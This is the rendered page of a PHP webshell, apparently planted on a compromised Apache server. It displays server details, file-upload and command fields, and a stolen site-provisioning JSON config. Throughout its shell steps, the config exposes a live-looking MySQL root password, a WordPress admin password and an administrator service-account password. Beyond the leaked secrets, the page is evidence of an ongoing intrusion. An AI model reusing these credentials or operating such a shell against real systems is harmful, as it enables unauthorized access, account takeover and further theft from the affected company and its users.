403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.216
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/repo/builder/backend/configs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/repo/builder/backend/configs/create-tsai-site.json
{
  "name": "Create Site (Production Direct)",
  "description": "Create a new site directly on the production server (run this config ON the production server)",
  "parameters": [
    {
      "name": "PARAM_SLUG",
      "label": "Site Slug (e.g., mysite)",
      "type": "text",
      "required": true
    },
    {
      "name": "PARAM_SITE_NAME",
      "label": "Site Name (e.g., My New Site)",
      "type": "text",
      "required": true
    },
    {
      "name": "PARAM_ADMIN_EMAIL",
      "label": "Admin Email (default: admin@turmansolutions.ai)",
      "type": "text",
      "required": false
    },
    {
      "name": "PARAM_FAVICON_CHAR",
      "label": "Favicon Character (default: first letter of slug)",
      "type": "text",
      "required": false
    },
    {
      "name": "PARAM_FAVICON_BG",
      "label": "Favicon Background Color",
      "type": "color",
      "required": false,
      "options": [
        { "value": "azure", "hex": "#0074e9", "label": "Azure" },
        { "value": "blue", "hex": "#5a64ff", "label": "Blue" },
        { "value": "violet", "hex": "#944aff", "label": "Violet" },
        { "value": "magenta", "hex": "#d200d2", "label": "Magenta" },
        { "value": "rose", "hex": "#e80074", "label": "Rose" },
        { "value": "red", "hex": "#ef0000", "label": "Red" },
        { "value": "orange", "hex": "#bc5d00", "label": "Orange" },
        { "value": "yellow", "hex": "#7b7b00", "label": "Yellow" },
        { "value": "chartreuse", "hex": "#418700", "label": "Chartreuse" },
        { "value": "green", "hex": "#038b00", "label": "Green" },
        { "value": "spring-green", "hex": "#008942", "label": "Spring Green" },
        { "value": "cyan", "hex": "#008585", "label": "Cyan" },
        { "value": "black", "hex": "#000000", "label": "Black" },
        { "value": "gray", "hex": "#6b7280", "label": "Gray" }
      ]
    },
    {
      "name": "PARAM_FAVICON_FG",
      "label": "Favicon Text Color",
      "type": "color",
      "required": false,
      "options": [
        { "value": "white", "hex": "#ffffff", "label": "White" },
        { "value": "black", "hex": "#000000", "label": "Black" },
        { "value": "gray", "hex": "#6b7280", "label": "Gray" }
      ]
    }
  ],
  "steps": [
    {
      "name": "Check PHP CLI",
      "step_type": "shell",
      "command": "which php && php --version",
      "timeout": 30
    },
    {
      "name": "Check WP-CLI",
      "step_type": "shell",
      "command": "which wp && wp --version",
      "timeout": 30
    },
    {
      "name": "Check MySQL CLI",
      "step_type": "shell",
      "command": "which mysql && mysql --version",
      "timeout": 30
    },
    {
      "name": "Check site directory does not exist",
      "step_type": "shell",
      "command": "if [ -d \"/tsai/repo/sites/${PARAM_SLUG}\" ]; then echo \"Error: Site directory /tsai/repo/sites/${PARAM_SLUG} already exists\" && exit 1; fi && echo \"Directory check passed\"",
      "timeout": 30
    },
    {
      "name": "Check database does not exist",
      "step_type": "shell",
      "command": "if mysql -u root -p1@dolphin -e \"USE wp_${PARAM_DB_SLUG}\" 2>/dev/null; then echo \"Error: Database wp_${PARAM_DB_SLUG} already exists\" && exit 1; fi && echo \"Database check passed\"",
      "timeout": 30
    },
    {
      "name": "Inspect parameters",
      "step_type": "shell",
      "command": "echo \"Creating production site: slug=${PARAM_SLUG}, wp_domain=${PARAM_SLUG}.turmansolutions.ai, cb_domain=chat-${PARAM_SLUG}.turmansolutions.ai\"",
      "timeout": 10
    },
    {
      "name": "Create MySQL database",
      "step_type": "shell",
      "command": "mysql -u root -p1@dolphin -e \"CREATE DATABASE IF NOT EXISTS wp_${PARAM_DB_SLUG}\"",
      "timeout": 60
    },
    {
      "name": "Download WordPress core",
      "step_type": "shell",
      "command": "mkdir -p /tsai/repo/sites/${PARAM_SLUG} && wp core download --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 180
    },
    {
      "name": "Generate wp-config.php",
      "step_type": "shell",
      "command": "wp config create --path=/tsai/repo/sites/${PARAM_SLUG} --dbname=wp_${PARAM_DB_SLUG} --dbuser=root --dbpass=1@dolphin --dbhost=localhost",
      "timeout": 60
    },
    {
      "name": "Configure JWT Auth and URLs in wp-config.php",
      "step_type": "shell",
      "command": "wp config set JWT_AUTH_SECRET_KEY \"$(openssl rand -base64 32)\" --path=/tsai/repo/sites/${PARAM_SLUG} && wp config set JWT_AUTH_CORS_ENABLE true --raw --path=/tsai/repo/sites/${PARAM_SLUG} && wp config set WP_HOME \"https://${PARAM_SLUG}.turmansolutions.ai\" --path=/tsai/repo/sites/${PARAM_SLUG} && wp config set WP_SITEURL \"https://${PARAM_SLUG}.turmansolutions.ai\" --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 60
    },
    {
      "name": "Install WordPress",
      "step_type": "shell",
      "command": "wp core install --path=/tsai/repo/sites/${PARAM_SLUG} --url=\"https://${PARAM_SLUG}.turmansolutions.ai\" --title=\"${PARAM_SITE_NAME}\" --admin_user=admin --admin_password=33Friday@33 --admin_email=${PARAM_ADMIN_EMAIL:-admin@turmansolutions.ai} --skip-email",
      "timeout": 120
    },
    {
      "name": "Generate admin password reset URL",
      "step_type": "shell",
      "command": "wp eval 'echo \"PASSWORD_RESET_URL=\" . network_site_url(\"wp-login.php?action=rp&key=\" . get_password_reset_key(get_user_by(\"login\",\"admin\")) . \"&login=admin\", \"login\") . \"\\n\";' --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 30
    },
    {
      "name": "Install JWT Auth plugin",
      "step_type": "shell",
      "command": "wp plugin install jwt-authentication-for-wp-rest-api --activate --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 120
    },
    {
      "name": "Install tsai-plugin",
      "step_type": "shell",
      "command": "ln -sfn ../../../../plugins/tsai-plugin /tsai/repo/sites/${PARAM_SLUG}/wp-content/plugins/tsai-plugin && wp plugin activate tsai-plugin --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 120
    },
    {
      "name": "Set TSAI plugin defaults",
      "step_type": "shell",
      "command": "wp option update tsai_api_url 'https://api.turmansolutions.ai/api/v1' --path=/tsai/repo/sites/${PARAM_SLUG} && wp option update tsai_ratings_enabled 0 --path=/tsai/repo/sites/${PARAM_SLUG} && wp option update tsai_status_message 'Under Construction' --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 60
    },
    {
      "name": "Install tsai-compliance plugin",
      "step_type": "shell",
      "command": "ln -sfn ../../../../plugins/tsai-compliance /tsai/repo/sites/${PARAM_SLUG}/wp-content/plugins/tsai-compliance && wp plugin activate tsai-compliance --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 120
    },
    {
      "name": "Install SMTP Mailer plugin",
      "step_type": "shell",
      "command": "ln -sfn ../../../../plugins/smtp-mailer /tsai/repo/sites/${PARAM_SLUG}/wp-content/plugins/smtp-mailer && wp plugin activate smtp-mailer --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 120
    },
    {
      "name": "Configure SMTP Mailer (Network Solutions relay)",
      "step_type": "shell",
      "command": "PW_B64=$(wp option get smtp_mailer_options --format=json --path=/tsai/repo/sites/tsai2 2>/dev/null | php -r 'echo json_decode(stream_get_contents(STDIN), true)[\"smtp_password\"] ?? \"\";') && if [ -z \"$PW_B64\" ]; then echo \"Error: could not read SMTP password from reference site tsai2\" && exit 1; fi && wp option update smtp_mailer_options \"{\\\"smtp_host\\\":\\\"netsol-smtp-oxcs.hostingplatform.com\\\",\\\"smtp_auth\\\":\\\"true\\\",\\\"smtp_username\\\":\\\"john@turmansolutions.ai\\\",\\\"smtp_password\\\":\\\"$PW_B64\\\",\\\"type_of_encryption\\\":\\\"tls\\\",\\\"smtp_port\\\":\\\"587\\\",\\\"from_email\\\":\\\"john@turmansolutions.ai\\\",\\\"from_name\\\":\\\"${PARAM_SITE_NAME}\\\",\\\"force_from_address\\\":\\\"1\\\",\\\"disable_ssl_verification\\\":\\\"\\\"}\" --format=json --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 60
    },
    {
      "name": "Install twentytwentyfive-tsai theme",
      "step_type": "shell",
      "command": "ln -sfn ../../../../themes/twentytwentyfive-tsai /tsai/repo/sites/${PARAM_SLUG}/wp-content/themes/twentytwentyfive-tsai && wp theme activate twentytwentyfive-tsai --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 60
    },
    {
      "name": "Create WordPress service user",
      "step_type": "shell",
      "command": "wp user create service service@turmansolutions.ai --role=administrator --user_pass='a0782872450cdc295f884ae0c4594b0f45243f1c' --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 60
    },
    {
      "name": "Create WordPress symlink in /tsai/www/html",
      "step_type": "shell",
      "command": "ln -s ../../repo/sites/${PARAM_SLUG} /tsai/www/html/${PARAM_SLUG}.turmansolutions.ai",
      "timeout": 30
    },
    {
      "name": "Create Chatbot symlink in /tsai/www/html",
      "step_type": "shell",
      "command": "ln -s ../../cb-build/creator/browser/ /tsai/www/html/chat-${PARAM_SLUG}.turmansolutions.ai",
      "timeout": 30
    },
    {
      "name": "Create certificate directory in infra repo",
      "step_type": "shell",
      "command": "sudo mkdir -p /tsai/infra/etc/pki/tls/${PARAM_SLUG}.turmansolutions.ai",
      "timeout": 30
    },
    {
      "name": "Set ownership for infra repo",
      "step_type": "shell",
      "command": "sudo chown -R ec2-user:ec2-user /tsai/infra/etc/pki/tls/${PARAM_SLUG}.turmansolutions.ai",
      "timeout": 30
    },
    {
      "name": "Issue SSL certificate with acme.sh",
      "step_type": "shell",
      "command": "sudo /root/.acme.sh/acme.sh --issue --apache -d ${PARAM_SLUG}.turmansolutions.ai -d chat-${PARAM_SLUG}.turmansolutions.ai",
      "timeout": 300
    },
    {
      "name": "Install SSL certificate",
      "step_type": "shell",
      "command": "sudo /root/.acme.sh/acme.sh --install-cert -d ${PARAM_SLUG}.turmansolutions.ai --cert-file /tsai/infra/etc/pki/tls/${PARAM_SLUG}.turmansolutions.ai/${PARAM_SLUG}.turmansolutions.ai.cer --key-file /tsai/infra/etc/pki/tls/${PARAM_SLUG}.turmansolutions.ai/${PARAM_SLUG}.turmansolutions.ai.key --fullchain-file /tsai/infra/etc/pki/tls/${PARAM_SLUG}.turmansolutions.ai/fullchain.cer --reloadcmd \"sudo systemctl reload httpd\"",
      "timeout": 120
    },
    {
      "name": "Fix certificate file ownership",
      "step_type": "shell",
      "command": "sudo chown -R ec2-user:ec2-user /tsai/infra/etc/pki/tls/${PARAM_SLUG}.turmansolutions.ai",
      "timeout": 30
    },
    {
      "name": "Create symlink from standard location",
      "step_type": "shell",
      "command": "sudo ln -sfn /tsai/infra/etc/pki/tls/${PARAM_SLUG}.turmansolutions.ai /etc/pki/tls/${PARAM_SLUG}.turmansolutions.ai",
      "timeout": 30
    },
    {
      "name": "Create site vhost config file",
      "step_type": "shell",
      "command": "sudo tee /etc/httpd/conf.d/${PARAM_SLUG}.conf << EOF\n# WordPress HTTP redirect\n<VirtualHost *:80>\n    ServerName ${PARAM_SLUG}.turmansolutions.ai\n    Redirect permanent / https://${PARAM_SLUG}.turmansolutions.ai/\n</VirtualHost>\n\n# WordPress HTTPS\n<VirtualHost *:443>\n    ServerName ${PARAM_SLUG}.turmansolutions.ai\n    DocumentRoot /tsai/www/html/${PARAM_SLUG}.turmansolutions.ai\n    SSLEngine on\n    SSLCertificateFile /etc/pki/tls/${PARAM_SLUG}.turmansolutions.ai/${PARAM_SLUG}.turmansolutions.ai.cer\n    SSLCertificateKeyFile /etc/pki/tls/${PARAM_SLUG}.turmansolutions.ai/${PARAM_SLUG}.turmansolutions.ai.key\n    SSLCertificateChainFile /etc/pki/tls/${PARAM_SLUG}.turmansolutions.ai/fullchain.cer\n</VirtualHost>\n\n# Chatbot HTTP redirect\n<VirtualHost *:80>\n    ServerName chat-${PARAM_SLUG}.turmansolutions.ai\n    Redirect permanent / https://chat-${PARAM_SLUG}.turmansolutions.ai/\n</VirtualHost>\n\n# Chatbot HTTPS\n<VirtualHost *:443>\n    ServerName chat-${PARAM_SLUG}.turmansolutions.ai\n    DocumentRoot /tsai/www/html/chat-${PARAM_SLUG}.turmansolutions.ai\n    SSLEngine on\n    SSLCertificateFile /etc/pki/tls/${PARAM_SLUG}.turmansolutions.ai/${PARAM_SLUG}.turmansolutions.ai.cer\n    SSLCertificateKeyFile /etc/pki/tls/${PARAM_SLUG}.turmansolutions.ai/${PARAM_SLUG}.turmansolutions.ai.key\n    SSLCertificateChainFile /etc/pki/tls/${PARAM_SLUG}.turmansolutions.ai/fullchain.cer\n</VirtualHost>\nEOF",
      "timeout": 30
    },
    {
      "name": "Test Apache configuration",
      "step_type": "shell",
      "command": "sudo apachectl configtest",
      "timeout": 30
    },
    {
      "name": "Restart Apache",
      "step_type": "shell",
      "command": "sudo systemctl restart httpd",
      "timeout": 60
    },
    {
      "name": "Set permalink structure",
      "step_type": "shell",
      "command": "wp option update permalink_structure \"/%postname%/\" --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 60
    },
    {
      "name": "Create .htaccess for permalinks and JWT auth",
      "step_type": "shell",
      "command": "cat > /tsai/repo/sites/${PARAM_SLUG}/.htaccess << 'EOF'\n# BEGIN WordPress\n<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>\n# END WordPress\nEOF",
      "timeout": 30
    },
    {
      "name": "Symlink WP apps from cb-build",
      "step_type": "shell",
      "command": "mkdir -p /tsai/repo/sites/${PARAM_SLUG}/wp-content/uploads/tsai && for app in banner sas player; do ln -sfn /tsai/cb-build/wp-shared/$app /tsai/repo/sites/${PARAM_SLUG}/wp-content/uploads/tsai/$app; done",
      "timeout": 60
    },
    {
      "name": "Create welcome post",
      "step_type": "shell",
      "command": "wp post create --post_type=post --post_title=\"Welcome to ${PARAM_SITE_NAME}\" --post_status=publish --post_content=\"<!-- wp:paragraph --><p>Your new WordPress site has been successfully installed.</p><!-- /wp:paragraph --><!-- wp:paragraph --><p><strong>Installation completed:</strong> $(date)</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>You can now log in to the admin dashboard to customize your site, add content, and configure your settings.</p><!-- /wp:paragraph -->\" --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 60
    },
    {
      "name": "Create archive page",
      "step_type": "shell",
      "command": "wp post create --post_type=page --post_title='Archives' --post_name=archives --post_status=publish --post_content='<!-- wp:archives {\"showPostCounts\":true} /-->' --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 60
    },
    {
      "name": "Configure navigation menu (Archives + Schedule)",
      "step_type": "shell",
      "command": "wp post create --post_type=wp_navigation --post_status=publish --post_title='Navigation' --post_content='<!-- wp:page-list /--> <!-- wp:navigation-link {\"label\":\"Schedule\",\"url\":\"/schedule/\",\"kind\":\"custom\",\"isTopLevelLink\":true} /-->' --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 60
    },
    {
      "name": "Generate and deploy favicon",
      "step_type": "shell",
      "command": "CHAR=${PARAM_FAVICON_CHAR:-$(echo ${PARAM_SLUG} | cut -c1 | tr '[:lower:]' '[:upper:]')} && BG=${PARAM_FAVICON_BG:-azure} && FG=${PARAM_FAVICON_FG:-white} && python /tsai/repo/builder/backend/scripts/generate_favicon.py \"$CHAR\" \"$BG\" \"$FG\" /tsai/repo/sites/${PARAM_SLUG}/favicon.svg",
      "timeout": 60
    },
    {
      "name": "Register favicon as WordPress Site Icon",
      "step_type": "shell",
      "command": "ICON_ID=$(wp media import /tsai/repo/sites/${PARAM_SLUG}/favicon.png --title='Site Icon' --porcelain --path=/tsai/repo/sites/${PARAM_SLUG}) && wp option update site_icon $ICON_ID --path=/tsai/repo/sites/${PARAM_SLUG}",
      "timeout": 60
    },
    {
      "name": "Commit SSL cert to infra repo",
      "step_type": "shell",
      "command": "cd /tsai/infra && git add . && git commit -m \"Add SSL cert for ${PARAM_SLUG}.turmansolutions.ai\"",
      "timeout": 60
    },
    {
      "name": "Create Drupal user",
      "step_type": "shell",
      "command": "curl --fail-with-body -X POST http://127.0.0.1:8000/api/v1/cms/user/ -H \"Content-Type: application/json\" -d \"{\\\"username\\\": \\\"${PARAM_SLUG}\\\"}\"",
      "timeout": 60
    },
    {
      "name": "Assign site_owner role to Drupal user",
      "step_type": "shell",
      "command": "/tsai/repo/drupal/vendor/bin/drush --root=/tsai/repo/drupal/web user:role:add site_owner ${PARAM_SLUG}",
      "timeout": 60
    },
    {
      "name": "Create Drupal file storage directories",
      "step_type": "shell",
      "command": "mkdir -p /tsai/repo/drupal/web/sites/default/files/cbt/${PARAM_SLUG}/{create,edit,variant,upload} && chgrp -R apache /tsai/repo/drupal/web/sites/default/files/cbt/${PARAM_SLUG} && find /tsai/repo/drupal/web/sites/default/files/cbt/${PARAM_SLUG} -type d -exec chmod g+ws {} \\;",
      "timeout": 30
    },
    {
      "name": "Add site config to API",
      "step_type": "shell",
      "command": "curl --fail-with-body -X POST http://127.0.0.1:8000/api/v1/site/add/ -H \"Content-Type: application/json\" -d \"{\\\"cb_host\\\": \\\"chat-${PARAM_SLUG}.turmansolutions.ai\\\", \\\"wp_host\\\": \\\"https://${PARAM_SLUG}.turmansolutions.ai\\\", \\\"wp_dir\\\": \\\"${PARAM_SLUG}\\\", \\\"slug\\\": \\\"${PARAM_SLUG}\\\", \\\"drupal_user\\\": \\\"${PARAM_SLUG}\\\"}\"",
      "timeout": 60
    },
    {
      "name": "Register site with article/comment cron",
      "step_type": "shell",
      "command": "ENV_FILE=/tsai/repo/api/cron/tsai-cron.env\nif [ ! -f \"$ENV_FILE\" ]; then echo \"ERROR: $ENV_FILE not found; ${PARAM_SLUG} would never post\" >&2; exit 1; fi\nif ! grep -qE '^SITES=\"[^\"]*\"$' \"$ENV_FILE\"; then echo \"ERROR: no SITES=\\\"...\\\" line in $ENV_FILE\" >&2; exit 1; fi\n. \"$ENV_FILE\"\nfor s in $SITES; do\n  if [ \"$s\" = \"${PARAM_SLUG}\" ]; then echo \"Already registered with cron: ${PARAM_SLUG}\"; exit 0; fi\ndone\ncp \"$ENV_FILE\" \"$ENV_FILE.bak\"\nsed -i 's/^SITES=\"\\(.*\\)\"$/SITES=\"\\1 ${PARAM_SLUG}\"/' \"$ENV_FILE\"\n. \"$ENV_FILE\"\nfor s in $SITES; do\n  if [ \"$s\" = \"${PARAM_SLUG}\" ]; then echo \"Registered with cron: SITES=\\\"$SITES\\\"\"; exit 0; fi\ndone\necho \"ERROR: failed to add ${PARAM_SLUG} to SITES in $ENV_FILE\" >&2; exit 1",
      "timeout": 30
    },
    {
      "name": "Trigger site index rebuild",
      "step_type": "shell",
      "command": "curl -s -X POST http://127.0.0.1:8000/api/v1/site/index/rebuild/",
      "timeout": 15,
      "continue_on_failure": true
    }
  ],
  "stop_on_failure": true
}

Youez - 2016 - github.com/yon3zu
LinuXploit